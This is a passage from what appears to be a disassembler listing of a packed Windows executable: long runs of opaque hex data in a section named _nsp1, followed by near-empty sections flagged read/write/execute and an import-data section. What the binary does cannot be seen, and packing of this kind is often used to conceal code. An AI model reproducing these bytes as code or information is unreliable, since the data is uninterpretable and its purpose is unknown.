0A61DCE48h, 6F62071Fh, 9EBAB422h dd 0AD506D7h, 2870A328h, 0E758B4FDh, 83FEEDEDh, 0A05AB05h dd 0DB900830h, 0C6FD3A32h, 50BD014Bh, 2BA6A425h, 3A822683h dd 42E62800h, 518843FBh, 0BE649C15h, 2B3C95E7h, 0BD693C44h dd 0F5A180A9h, 9F73C8C4h, 4C1D2D8Ch, 1FE05D7Fh, 0B4DF5A35h dd 0D058B1BEh, 11008CB8h, 0BFEEF8C3h, 8C15BC69h, 73B50374h dd 815F56BDh, 0DFEB11F3h, 8BCD91A7h, 9953C216h, 0DB78E8A8h dd 0BF5504A9h, 747F8262h, 38679260h, 0F31AFBD7h, 345A464Eh dd 267ABA9Ah, 114B3B1Ch, 0BB85384Dh, 69459A89h, 6B9C694Ch dd 0C512EFEEh, 0C7B72D45h, 0A98CEADCh, 0CBAD30EEh, 79B41AFh dd 0C520B53Ah, 0CC042D5Ch, 0C36D0818h, 0B58B46B1h, 0F7930C37h dd 7C0D8A3Bh, 0EDF82415h, 99DC48F8h, 8D868350h, 63C85153h dd 1CF9DD6Fh, 0AACBCABh, 80238F7h, 5B730A6h, 3863DA83h dd 42E90506h, 115B0C06h, 30591F4Ch, 0F88EF59Eh, 98701E6Fh dd 0D3491662h, 0F308C015h, 0C3D9F04Eh, 4649030Dh, 8A3DD9E2h dd 1A42E924h, 7CC002Ah, 467E0B90h, 0AF2B05D2h, 8415F585h dd 85E12ADDh, 409A6F7Ah, 84765D8Ch, 0BFC22436h, 0EAFC2E11h dd 745DC4E0h, 0A1A80DEDh, 0C84D5CACh, 0A77257A8h, 36D77E55h dd 0BF3E44A9h, 66E67AFFh, 2FBB7AEAh, 3E6375AAh, 0C6A0D6DBh dd 0D923F44Ah, 49ED7B73h, 47975686h, 81A9BCF7h, 0AC68141Bh dd 0C46BDFEDh, 0B07B4968h, 15FD951Ah, 3D819EB1h, 5D58B146h dd 0F8C14CB2h, 0EB20D68Bh, 5E7FE614h, 0DCD6B5Ah, 0A0FB336Ah dd 96FEB9B3h, 0B75A3645h, 1B973F2h, 5769AD8Bh, 7716A223h dd 963BFE5Dh, 29A5DBA4h, 77ABC87Eh, 839C6635h, 41B1A5D5h dd 6A6EA2FEh, 66F1C582h, 80A64C7Ah, 0BAE2718Ch, 7DA99EA8h dd 0AF0EB0D9h, 0D7A53651h, 0D61FF6D3h, 4CF0A9D0h, 49481553h dd 0FAA1CAAFh, 0E3A10E65h, 0C70BE00Bh, 394C8E5Fh, 0D4EFD51h dd 0C40D0698h, 3363B926h, 9C5E4D33h, 0CB0C8F06h, 0F57BB5C8h dd 8C00E310h, 5E43CDF7h, 0CBCA6CE6h, 645806Fh, 78213AC8h dd 45DF93ABh, 65BF72BAh, 4E932597h, 8DCC223Ch, 63AC34AAh dd 0D8454E76h, 0E53816F9h, 672DF40Ah, 65E1CA94h, 156C9233h dd 25DCAD98h, 9EB9128Bh, 2D01E326h, 783CEE83h, 9485E7FBh dd 56FFBB78h, 0BDD77588h, 4E17D9E2h, 0FA35F654h, 0C6DB3DA3h dd 5E96E643h, 91307C42h, 0DBD936B4h, 8823903Ah, 501C973Fh dd 0C364567Ch, 8E5010A4h, 98C037ECh, 8C0F5943h, 85B16B32h dd 0E6CC312Ah, 0D2FE59B5h, 2CA78F99h, 6F4D5BDCh, 0D1049C6Dh dd 1EEF087Dh, 15F960C3h, 39ED279Eh, 1977E44Ah, 8A29541Bh dd 0A2144EE5h, 76EEBCC0h, 8F6E6E40h, 547273B0h, 249B50B6h dd 0BCD53EA0h, 0ED450A12h, 0B7791E9Ch, 0B8844095h, 0A6B0E860h dd 0CA39D261h, 11AA1554h, 0AF992107h, 100BD53Ah, 33B122DDh dd 2DD0E151h, 846A2BB0h, 706B36Eh, 0E38CBC9h, 3677D480h dd 4FF58B67h, 0A3371E93h, 66B6E5B2h, 734260CCh, 0DAE586CAh dd 0A0623CDDh, 0A4A6CF63h, 0BDE84D6Ch, 0EE1A49CEh, 43062951h dd 9630993Dh, 0A16424Dh, 0E7C88716h, 7D43215h, 62B6A69Bh dd 465C72h, 0E01DF627h, 0A4072C6h, 3DEA31C5h, 0D3A2F676h dd 9915F29Ah, 0C43405FAh, 7B838623h, 84ED5F7Fh, 2C63CF72h dd 0D82756C4h, 5A10F9C5h, 51C4F454h, 3A1569F3h, 7F6FFD09h dd 88FBD4F6h, 5344BC2Dh, 0D227DD53h, 0F4F37B4h, 0D428C952h dd 9D5F0AC7h, 0FC016E92h, 0EB642A37h, 0CD31F3D3h, 722C34C2h dd 40A2399Dh, 15C9BD4Dh dd 0F5B17561h, 2BA7A517h, 0D189684Fh, 22FDD085h, 1697CED0h dd 0F1ABABF9h, 0A33B6D0Eh, 56F69F45h, 1A1153E0h, 0F64BEFC3h dd 7C9F233Eh, 9A89677Bh, 0D33FB54Fh, 2C39988Fh, 3ED45A95h dd 60F56697h, 637DAD3Ah, 0F9533DBFh, 23C35F4Dh, 8C5DAD64h dd 0F3BCF5D8h, 597A0B55h, 53942950h, 3CD8288Dh, 4FC1F6DDh dd 0C8F5E08Bh, 72BE27ACh, 82FCE4E9h, 0C57A74E1h, 0D3F7D819h dd 0ED2545CBh, 0CAE8BBEBh, 0D82BC28Dh, 167D015Fh, 0D4A4C984h dd 0DA617611h, 1232C9DDh, 0E5B63ABEh, 1038836Bh, 4C39A606h dd 631B8404h, 0A5668A23h, 0F9DF868Fh, 3253377h, 4F92F6C0h dd 5511A2B4h, 4DB0469Ah, 9B835074h, 26D9D8C8h, 5BBFD7E2h dd 0BC47A71Fh, 0D5CCF7C2h, 0E803D205h, 2F233684h, 3C3B5CCEh dd 32A27CEh, 5592A8BCh, 3FEABD41h, 0D0044F99h, 712552BDh dd 664AB407h, 58325F74h, 1730FB24h, 13CA268Ch, 0BD7D80B1h dd 3D42BD16h, 78CA4C18h, 0FE6F4E45h, 4A1B460Dh, 1D5E23BFh dd 0CDBC1450h, 0AEF9781h, 8C58A31Ah, 0BEF3CAB3h, 5D6D2385h dd 10BB4DB3h, 8C47C7C1h, 0B53C1966h, 0B6347156h, 64DA4ADFh dd 483C8AD4h, 0F61A48B0h, 0F6D18E3Fh, 8B245D36h, 2A34744Ah dd 4171593Ch, 0C401B662h, 236C7D68h, 2464DECDh, 304F9D94h dd 0F5AB1D76h, 5BFAD3C5h, 515E03F7h, 7C2E8096h, 4F7E995Dh dd 2C9C2414h, 9714A561h, 8DF2922Bh, 0F7C8921Ch, 795B9990h dd 5AFEEC35h, 0C5B67125h, 0A0D36DCEh, 0CB20EFA5h, 7F543B5Ah dd 989DD8B4h, 0C57DA15Bh, 0FE9FE137h, 0D356B0B8h, 5C48FA92h dd 0B9252625h, 981A7431h, 1F6015B1h, 78972980h, 0C94599D1h dd 1FE4BE85h, 8A554299h, 0B3256090h, 0CDDA3590h, 0B72D2701h dd 7DA7E702h, 5B286D62h, 0B96E411Ah, 4C325F3Dh, 38A9C6D7h dd 23290A42h, 35F3481Ch, 8B2F5F58h, 77BF91F7h, 0B1EAE1FFh dd 93593CC9h, 7F74ED18h, 604814DCh, 0B6D630FEh, 254F7358h dd 328FD8CBh, 9E94D4ACh, 0BCBCC35Fh, 0A2082FBCh, 547A7E55h dd 7EFAEB28h, 0E7B85365h, 37F1FA2Ah, 3C54A438h, 0A96DC401h dd 9108A15Bh, 0DA8A13E8h, 0EF39CB57h, 4734F698h, 0D8CF72BCh dd 0FA7B3791h, 0AE814CC2h, 35333447h, 1923DB40h, 971A94CAh dd 0E5DA1591h, 70AD72B6h, 6D25D205h, 1950AB0Ch, 0CDFDE2DAh dd 0CF31425Ch, 0C959D5B5h, 43233351h, 12C29788h, 742EB49Dh dd 15DE2DEBh, 0CBF96A42h, 6B854EA4h, 38F060E3h, 3A81F3h dd 0EA5B386Fh, 0A897A450h, 3FAE888Eh, 0DC6AA1F4h, 8F73AAD2h dd 9A3C2F38h, 1A075E6Dh, 937048C7h, 24BDEDFCh, 0A7B6D2B5h dd 996F3406h, 30EB0F66h, 8484DB65h, 3AA7D2C6h, 28F56A5Dh dd 277B5378h, 0B9B7E917h, 6DEB4EC6h, 0B05C94A8h, 1DE93712h dd 172DB390h, 0EB3DE22Eh, 0E4F5D6A3h, 9B53424h, 11E02DF8h dd 7105E6AFh, 8BB23D3Ch, 3B4DD659h, 0F07106DDh, 189A059Eh dd 13C2E6F7h, 4EB7DA2Eh, 3A7F2C77h, 0FA340567h, 23160AECh dd 684C17DAh, 5F1E68Ch, 759159FBh, 2BA44630h, 0E43498E1h dd 94216E75h, 0FE82C832h, 3236499Bh, 0F83310B3h, 78EB7B3Ch dd 1DF9F62Ch, 7C8CDF08h, 0A2CCE069h, 8A53B7CCh, 66780C66h dd 0F6F777A4h, 0FFCCB178h, 48064E74h, 0DF2DC20Ch, 7C19EE84h dd 15470BF7h, 115D2BBEh, 0DAEACE17h, 0BEA5E44Dh, 58C58C48h dd 33FD38AFh, 3A69E033h, 19941EC2h, 0BDD91C16h, 0CC009FD1h dd 592BEA99h, 0F3E319B6h, 535C63CDh, 181DDF75h, 0BF712847h dd 4778D479h, 0C6901675h, 0A195B6B8h, 1C55CFD2h, 738FF221h dd 0A2A0E30Bh, 0C1B495ADh, 384C8491h, 0A4B48C45h, 84CF1CA6h dd 0C938321Dh, 8A12B3C2h, 243988B5h, 38FE191Bh, 53CE27B9h dd 0CCA53A9h, 458F822Ah, 0E7DB404Dh, 0A8B9BFBEh, 72AF9108h dd 0E107AF76h, 0D8330F9Eh, 0DEA09E7h, 0A5D2FC77h, 4B3EC2DDh dd 9351C157h, 35492218h, 6D8A1103h, 0F199E8FCh, 0F42D4C0Ch dd 0F9056354h, 6A22B1C6h, 77ACC5ECh, 50701053h, 0AB938D50h dd 598B8B0Ah, 89A98205h, 0D2C0FE72h, 32B12764h, 0F729138Ah dd 42CDD4D0h, 0EBA69154h, 7D90FF6Bh, 8EE06DA7h, 7549930Bh dd 0A39B492h, 8891CC6Ch, 8671FE06h, 41A6D08Eh, 1E4DAF3Bh dd 54DA5097h, 0DFD490FBh, 0BE000BC0h, 99145834h, 0AFD4C8D5h dd 57E0DD84h, 911A746Ah, 177C9EB0h, 0C2F535C0h, 0F7BC6964h dd 7776BC63h, 43FB9F3Ch, 94840096h, 0DF8D000Ah, 0AC1B428Ch dd 0C8EB87EBh, 9272FA73h, 4AD15C9h, 0B39B871Ch, 0A2368258h dd 0B0700C55h, 3339A763h, 0B65D458Eh, 47F513BAh, 0AEF6E919h dd 65765E39h, 35B2ED7Ah, 44851871h, 0D08D5A4Ah, 7CC11201h dd 0A8ABA1B2h, 7BB85AF5h, 836F3036h, 3CE5F63Eh, 0FBB14731h dd 4DDD0472h, 545CFB83h, 0C8523444h, 0E6E0B923h, 63305403h dd 0E0D1595h, 0BA426E06h, 0D71F24B8h, 7B86D04Eh, 38FC5C3Eh dd 634F40C3h, 0B4D7D976h, 5769F302h, 11F14CB4h, 5A411110h dd 0E584F75h, 2AA57C4Dh, 6B4F29F6h, 7F451199h, 5F46C531h dd 353F6C3h, 16C139FDh, 7B9A4B5Eh, 0EFCE987h, 150F8B53h dd 0C1D889ABh, 30249B21h, 0A351DB6Ah, 0BB3CD844h, 0A6E8FAD5h dd 1E0EEAE5h, 58C878F7h, 3A6C5080h, 0E3AC6278h, 0BF26E8F8h dd 0D1650D5Dh, 9FE070FCh, 533AE3B4h, 0BA889335h, 48298066h dd 1C5F06D6h, 0AB3E9A8Dh, 68CE024Fh, 0E19DA585h, 0A42340E3h dd 949005D6h, 0F45F82AFh, 0C07F21E7h, 83DC0701h, 0C30102C7h dd 7C393F06h, 3B237621h, 0BC7DAEB3h, 0F646CDD0h, 0EF234350h dd 0EECEA52Ch, 8CCCABEFh, 5623A78Dh, 4FE47538h, 0F357DAB3h dd 904FE872h, 4D743765h, 29CFF911h, 0C00E4405h, 2A43845Eh dd 1A08CEA3h, 0D9E3B5A8h, 0FC5AB78Eh, 0A73D0FA0h, 0C37F3D69h dd 458F308Ch, 3CC03CEBh, 0D2A104E0h, 0A815BF15h, 0BCB7705Eh dd 0B0B8ADE0h, 3A5BD224h, 4933B76Bh, 0D7DA21A5h, 32209443h dd 0A29219F9h, 1CAFD6E8h, 48F377E8h, 0DB6B39A1h, 0C1A12650h dd 99CE6336h, 0CE92C900h, 86E7724Eh, 4728167h, 0DC1FE4E4h dd 4220A6CFh, 8C2C39FCh, 3CB74711h, 7E27EB20h, 0F54986CBh dd 0DB09D738h, 0C9FB12A7h, 0A9BA91D0h, 73ACBB7Ah, 0C63F10B3h dd 51B79795h, 7A204AEh, 8EA21456h, 0B5E2FB77h, 3777FBF4h dd 84B0CF7Ah, 685151Eh, 0D806EC35h, 0D70EF92Fh, 5DD00F17h dd 0C0849441h, 9FBFC4Ah, 67DCB14Ch, 690E5E53h, 0A2D2B1E7h dd 0F8E4DB94h, 738632F1h, 9BD15F2Ah, 1BFC9F92h, 39B0CDA5h dd 4DB07E24h, 1F808ABFh, 946F1BE4h, 0C9B5A5A2h, 882F55A0h dd 65109598h, 2D443803h, 7C4DCB5h, 0FE250D40h, 0DD657733h dd 2C58A1AAh, 21C47F9Bh, 9294253Ch, 0B16DB0AEh, 381038A5h dd 68EC2298h, 5C1AB5AEh, 6413120Eh, 981A32A1h, 90B5FFA9h dd 867DD51Bh, 4A323461h, 36A3607Bh, 0A3963EF6h, 8A60C145h dd 0EF91D87Eh, 0F6677420h, 4C291E04h, 239E5B51h, 939A06DFh dd 0C1CF32D1h, 28857495h, 8FF69185h, 7AD59A9h, 15E7EC3Ch dd 37C14F09h, 8C0B3FF8h, 0D33D6D2Ch, 0FC1B359h, 1F8DBE77h dd 85FF5DD8h, 18BB7D2Ah, 0ABDE743h, 526D9064h, 36A1CDAAh dd 0C28B75C9h, 0A4E80EEBh, 36EB9581h, 0A73ED751h, 0F6F713EDh dd 0EC27AC6Bh, 10DBB362h, 402342DCh, 74AC24BCh, 0B985DA8Ch dd 0D05B01A1h, 62BA2992h, 5A29EFC7h, 79117B59h, 4B5A0479h dd 0C50EDC88h, 0AA9A2A86h, 5D8945B0h, 0B462FC1Eh, 57F5A3FCh dd 34A33CBDh, 33A18B95h dd 0B85520C7h, 0B156B800h, 55D116F3h, 0EB519716h, 2118EA30h dd 796CF213h, 8D45A4E3h, 90B29D81h, 0F654F391h, 0CC05EA05h dd 62123203h, 0B75F9B1Dh, 6A492EFEh, 0D20114F5h, 0CE1BAEh dd 0E6C3D6Fh, 0A8447FC6h, 28D5471Ch, 0F336CC7Dh, 8113BB1h dd 0F8BF537Eh, 0EF89C60Bh, 7C0CD23Fh, 9A03BB2Eh, 4057BBF3h dd 0C0F021A9h, 0D96E1EFEh, 0C59C0257h, 6BE6CEE4h, 6EA2D87Ch dd 51BAED36h, 7BADD763h, 5816E611h, 73EB4B1Ch, 8AD2DB81h dd 0D162D43Bh, 36BC951h, 366900B1h, 54F660FFh, 6EF2813Ch dd 80DF0034h, 0EBEE7CE5h, 3B0B3A4h, 0FD6DFC72h, 0C76EF061h dd 0CD67B02Bh, 58E74089h, 0CEB306C9h, 0B6E70878h, 253EDCC8h dd 0A2932131h, 0DBF43472h, 0D513EFF1h, 0BE447220h, 0B04E57B2h dd 6EAAB0A6h, 7863A657h, 24F4B6FAh, 59F14F26h, 53554773h dd 82F7BFFFh, 0E8D077BEh, 0FEDFAB62h, 0B2199F59h, 973BAC28h dd 0D1B914DCh, 0B2FFEF6Fh, 8392856Eh, 247AE775h, 0B18CFB68h dd 0C4662632h, 0D2D08976h, 835A641Ch, 0C7727AE4h, 0E2EFCCB4h dd 4202F2B7h, 1807BA71h, 0C2B2AD4Bh, 0D81DF5ACh, 0CAA6C597h dd 2AE0B47Eh, 44397698h, 3009A996h, 4823C115h, 0AB4691BAh dd 37E37487h, 0D51F5AB0h, 0E7A1E58Eh, 0C5EDE523h, 1AE402BEh dd 1CCEC21Fh, 0D429F238h, 0AF3D5E92h, 88C07094h, 0F7148F23h dd 58186D5Bh, 0AEE7A246h, 77A3BE51h, 35D109E4h, 34F8D782h dd 84DFEC39h, 0C1F03BBEh, 38476C78h, 0EA7B13DFh, 7AF59943h dd 0DB92495Fh, 0AB31D0B3h, 0BB1CA4DBh, 4976ACF5h, 0A0796480h dd 9F32283h, 0B059C11Ch, 0D38D3810h, 2E7C26DBh, 4977E11Fh dd 89CC2B4Fh, 99B20EA6h, 0A284073h, 7A356667h, 3A09149h dd 5BBABA00h, 620DE4F6h, 453721E0h, 0FCB163Dh, 5453F0ECh dd 9CEAF200h, 0ACF33B15h, 0F85549CEh, 3C479CAAh, 27AB4BC9h dd 3616006Ch, 238CD318h, 0BCE2BC2Ah, 1F61E111h, 8F319BEAh dd 0C4049652h, 0CA52AE05h, 765B5FDEh, 651E93DFh, 19FC9ED5h dd 1E94948Eh, 1DD36A1Ah, 6F2FAC94h, 4795E99Ah, 0CDD7C0C2h dd 67077EC2h, 1C141434h, 9096F30Fh, 0F2DB45C2h, 0FE34523Dh dd 0D6535DF0h, 596156A3h, 562C23C9h, 0E3803A76h, 0E85FA5C1h dd 41841B31h, 0EF346A57h, 0BBC1110Ch, 7C20A70Bh, 0E56C4F24h dd 0F4119A43h, 0A7EC739Bh, 0BA2B3DB4h, 0AC52F7CCh, 92514CDDh dd 32408295h, 79B60995h, 45BB327Ah, 63CF2046h, 0ED9150ECh dd 9FD0EBECh, 0CED881E5h, 959F1527h, 752F5557h, 0E4562C12h dd 0B44B3EE3h, 0AB9DC872h, 629A6257h, 125CCCE4h, 13E5C634h dd 490243E3h, 30518EE0h, 66605B06h, 783D87E6h, 121AF17Ch dd 1271F015h, 33FC94ACh, 0BEE78775h, 7AC25AC5h, 5538AFF6h dd 4A8840BAh, 0DE4D7594h, 0D1CB22A5h, 0EE3C658Eh, 0C017C2EDh dd 91EFFF51h, 1BDDFF6Ch, 0C1C4271Ah, 8AA624Dh, 0DDAE4696h dd 9B743DDEh, 60B5A50Ah, 7A6D5FBDh, 62363880h, 68E22033h dd 8177651Ch, 18FB0E3Dh, 0EC4CCA7Fh, 3921DDBEh, 0A7DD61DFh dd 0F27A5997h, 9A6E23DFh, 2882DCA8h, 0A2EE96E0h, 0D66D78A4h dd 45A16625h, 4A0CFEB2h, 2EC72BAFh, 0BD006209h, 0C66ED57Eh dd 58479293h, 11AB4079h, 6F01A8E7h, 6DE1A02Fh, 770F840Dh dd 0AB23BF0Ah, 0EF0C47C2h, 0EA25A8B0h, 5DC56157h, 0F471776h dd 0ACE24E88h, 0A066F336h, 883E8F63h, 42AAEA43h, 0D8F78575h dd 363AA44Ah, 6F89221Ah, 6013CABCh, 7F226EE4h, 0B6CEF43Ch dd 0AFEBEFC4h, 63E9A150h, 0BEE56864h, 0F43D964Fh, 0AD3B5E40h dd 34AEC306h, 10377375h, 0BFE6F079h, 34DC78AAh, 78F04F37h dd 0EDC49AB7h, 8A418AE2h, 0E09F7D5Dh, 9C13E4FDh, 0E12EEC8Ch dd 0ED12CAA2h, 0D40D2619h, 0C3544319h, 60B8387Fh, 0ADC40529h dd 0F3A065B2h, 7745911Dh, 491735Fh, 753160F2h, 43E9B471h dd 0A432703Fh, 1984833Dh, 6EC2158h, 6AFE226Bh, 0BF98CFE8h dd 731FFA20h, 9ECBAA45h, 57248D74h, 643EC3F2h, 7FC3B452h dd 81FE8E52h, 4AD5F792h, 0F5241C2Dh, 0D7E14BACh, 0B4E03453h dd 5A9BD7BAh, 0B2DE7CAAh, 0BC7CF60Dh, 57D3AF3h, 4CF71046h dd 314D1B44h, 3C16029Dh, 0CA7E4268h, 17855381h, 372376AFh dd 0FA10DD1Ah, 0BA5C46B0h, 10AE5314h, 0D414EDECh, 0D9216D02h dd 0F83102A6h, 1CD3181Bh, 0EA572FF3h, 37860F7Ah, 7921906Eh dd 246C7DB6h, 6B7D7795h, 0B4824EE9h, 525BAB2h, 0F6EA5EEAh dd 64FDD694h, 1C8C6C66h, 5EACF63Bh, 8768EFBAh, 0BBE74441h dd 373F3C99h, 6477D223h, 0DB4AC436h, 78ADAE83h, 0F4179365h dd 0C8E8F214h, 0DDB56BE2h, 7F8537BEh, 0C7C4CBCBh, 618D3F36h dd 0C168AD7Eh, 0BBD8FA95h, 0D8C931E5h, 0E7F8C6C9h, 0EA61A4E7h dd 414DE8E1h, 6F37103Dh, 25597FD4h, 2F80F37Ah, 0B3280FA8h dd 4343248Bh, 522EB3EAh, 9BF5F6E9h, 0FFFF6B41h, 0B60813BFh dd 9CCA9E31h, 0D68DE0EFh, 6A0BA6ABh, 9B5AD329h, 0E3B4B7AAh dd 73460F48h, 0BA41BCD5h, 227B57B8h, 0EAA1D695h, 0CF7E58A0h dd 0A90EBCDFh, 62307458h, 362948E4h, 0CF89D2AAh, 751AA78Eh dd 5228067Ah, 8858AAA9h, 8E1EE808h, 8F863DF7h, 0AED6B6FFh dd 14AD498Bh, 7BDB30BBh, 0EAB4A560h, 0E8A9949h, 0C856657Dh dd 0C628BF90h, 31D8CFA8h, 0DCC82642h, 7220CE0Ah, 6B3585B8h dd 0DFAB7D18h, 4F29C5BDh, 67D42D87h, 0ABFD00A6h, 0C154D621h dd 0E520387Ah, 0CF7C4DCh, 59358215h, 38961AC6h, 7199FC54h dd 0A7ED006Bh, 0B7B39E4Dh, 97AE407h, 318F18Dh, 0ACA76EF0h dd 66949DF7h, 0FF94FF6Dh, 58629B65h, 0F0C5BFCDh, 0F5E9A305h dd 8D13CC3Dh, 13496849h, 9BFE535Eh, 0FCBAC414h, 0D433C1Bh dd 0CF03965h, 457807F4h, 2E361457h, 134EE458h, 0C7849081h dd 32944B88h, 6606AD79h, 0B72B5081h, 1D926FF7h, 0FFCEBC5Eh dd 5EDE12A5h, 0D192FA24h, 0FAD48105h, 0C4E46F3Dh, 2AC6956Eh dd 761D1960h, 0CCE137DAh, 5A9532EDh, 0BDEBD0DAh, 8B838F9Fh dd 47E3270Dh, 0B0D5F42Bh, 0A406712Ch, 0EB800786h, 0EACB76B3h dd 0F03B6C2h, 0EF8F7841h, 87646E3Dh, 69822A88h, 9FFA9C3Bh dd 0D6ACF2C1h, 0BA987B4Bh, 0D73BE6Ch, 0A99A703Dh, 3F5213DFh dd 0FCADC2B0h, 13D3C41Fh, 0B0C96D43h, 31451680h, 6C3BC460h dd 3CD9B943h, 48994268h, 411684F1h, 0A81F0CCFh, 253C552Ah dd 0E00D1454h, 824464FFh, 0B22B941Ah, 62258762h, 0B838D7BBh dd 1861A64Eh, 0CB378F42h, 35BBAED3h, 0BC35E983h, 0C98765AEh dd 0BF212A21h, 0CECC7EEAh, 0CF84D80Dh, 0D0863BE7h, 0D09EE579h dd 0FF8C8F30h, 7321AD66h, 13C6AF02h, 7EFE2B73h, 0FBFE9EBCh dd 80B29C12h, 8C48E430h, 0A3007673h, 220E9556h, 64229B15h dd 3A256F0Ah, 880461FCh, 59DA3298h, 0CD29BA4Fh, 0D9D38F38h dd 0F5C8434Dh, 364CBF57h, 0A3FF9165h, 0DF5D7928h, 2BCD6415h dd 0BE90F9FAh, 41D5B84Bh, 868E45ECh, 81BBCEAFh, 5619A89h dd 98A42ECh, 0F6FDAA82h, 3E2FE96Ah, 28B7404Dh, 5198A688h dd 0AB3F412Dh, 8343864Dh, 520E580Eh, 3E951E54h, 3B4519Dh dd 0A55E1F26h, 0B4B6360Fh, 0EA0A0588h, 0D0CCB056h, 8A0BEC5h dd 0EBD48540h, 724FB0C4h, 17BE064Ah, 3E03E59Eh, 26E52339h dd 0A84CA021h, 13566E56h, 2F366005h, 2CC75CE2h, 9A72C0E1h dd 0ABB14181h, 84C26C8Dh, 9F608BE6h, 5B9CEE77h, 91550AD6h dd 0DB170032h, 1C4248B0h, 0C82137D7h, 2F5D25F8h, 0C2D00278h dd 14D868FEh, 662F700Eh dd 6EF928E1h, 9AB1F043h, 14E5A437h, 6B23C84h, 84D46324h dd 0D6071DC2h, 0F7CC8E87h, 13F9F233h, 24F4BE33h, 0DE5263DCh dd 0DE0484DCh, 8C67450Bh, 53E86A9Eh, 68FB21B8h, 0C8E4FE9Bh dd 0E52E1A27h, 8C9897F6h, 6ECB3E6Ch, 1C75652Eh, 9E64B88Eh dd 0EBDEE3E1h, 0EB8398AAh, 96545151h, 89F19C0Dh, 0B57AF953h dd 0F8D64811h, 2065142Eh, 0AC6DF258h, 15E0BE86h, 36D2BEB4h dd 149DB461h, 2DAA8E1Fh, 84F528D5h, 0C0880A17h, 1684ECF6h dd 0F59022FEh, 82677ADDh, 42CB463Eh, 0A386D37Ah, 0E4A91418h dd 10573938h, 0F68539B2h, 0A1DF5DC0h, 0FC08D0FEh, 0DFDC0C89h dd 0BE6F456Dh, 3D6F2AE6h, 5A7B479Dh, 1F4BCC02h, 0D2D0C393h dd 0AD5E7130h, 76C9100Ah, 0F08EEDCFh, 6A132EEDh, 4F3B3522h dd 0E2FE61D8h, 2A0EFCBDh, 0A8BDE5E8h, 33A8289Ch, 8D14DC32h dd 8634C5ECh, 0C0191A98h, 7D11F078h, 0CC3E40CAh, 9D160127h dd 8899AC4Ah, 1752469Bh, 36C3FF38h, 0CDE39231h, 0EA61A780h dd 3D9AD1A1h, 0CB755311h, 0B862E56Fh, 0C52CD4E8h, 0A8E020DEh dd 4FA028FAh, 0B17FD632h, 0AE9F69CEh, 0EFB5B44Eh, 94E096CFh dd 49B28F46h, 327BCF60h, 0F186B8A5h, 9A94CF78h, 0FD53504Ch dd 9221675Ah, 0F0D34F3Ch, 0D4113A8Dh, 6157CE62h, 28B59DA1h dd 6E860845h, 3E0740E2h, 67A268C7h, 0B420DF95h, 6E0F39C7h dd 9D71D747h, 7AAC22DAh, 5BB928C6h, 59E9D195h, 0FACFA12Fh dd 0CC3BF5Bh, 0CF958433h, 466FCE99h, 334D1D4Ch, 52573079h dd 0EF07CF44h, 0D731BD36h, 1D21396h, 0E388D907h, 85E1F9F2h dd 0DCC52824h, 0EC972735h, 9458B8AEh, 1A4FB182h, 315D210h dd 2370EACh, 0DFECAE40h, 8F11A110h, 30B9F9B2h, 0AD3A4696h dd 87D01159h, 46BCD377h, 0DB5DE3C6h, 0B8D10A25h, 8DCED2EBh dd 68390C4Ah, 0FB31C1D4h, 7282729Eh, 1642A62Bh, 4E6BBB17h dd 55BE4A73h, 0B0FFC324h, 0AF770170h, 0Ch, 164h dup(0) _nsp1 ends ; Section 3. (virtual address 00139000) ; Virtual size : 00000DC6 ( 3526.) ; Section size in file : 00000DC6 ( 3526.) ; Offset to raw data for section: 00139000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 539000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 371h dup(0) db 2 dup(0) dw ? dd 0Eh dup(?) _nsp2 ends ; Section 4. (virtual address 0013A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00139E00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 53A000h dd 80h dup(0) align 1000h _idata2 ends end start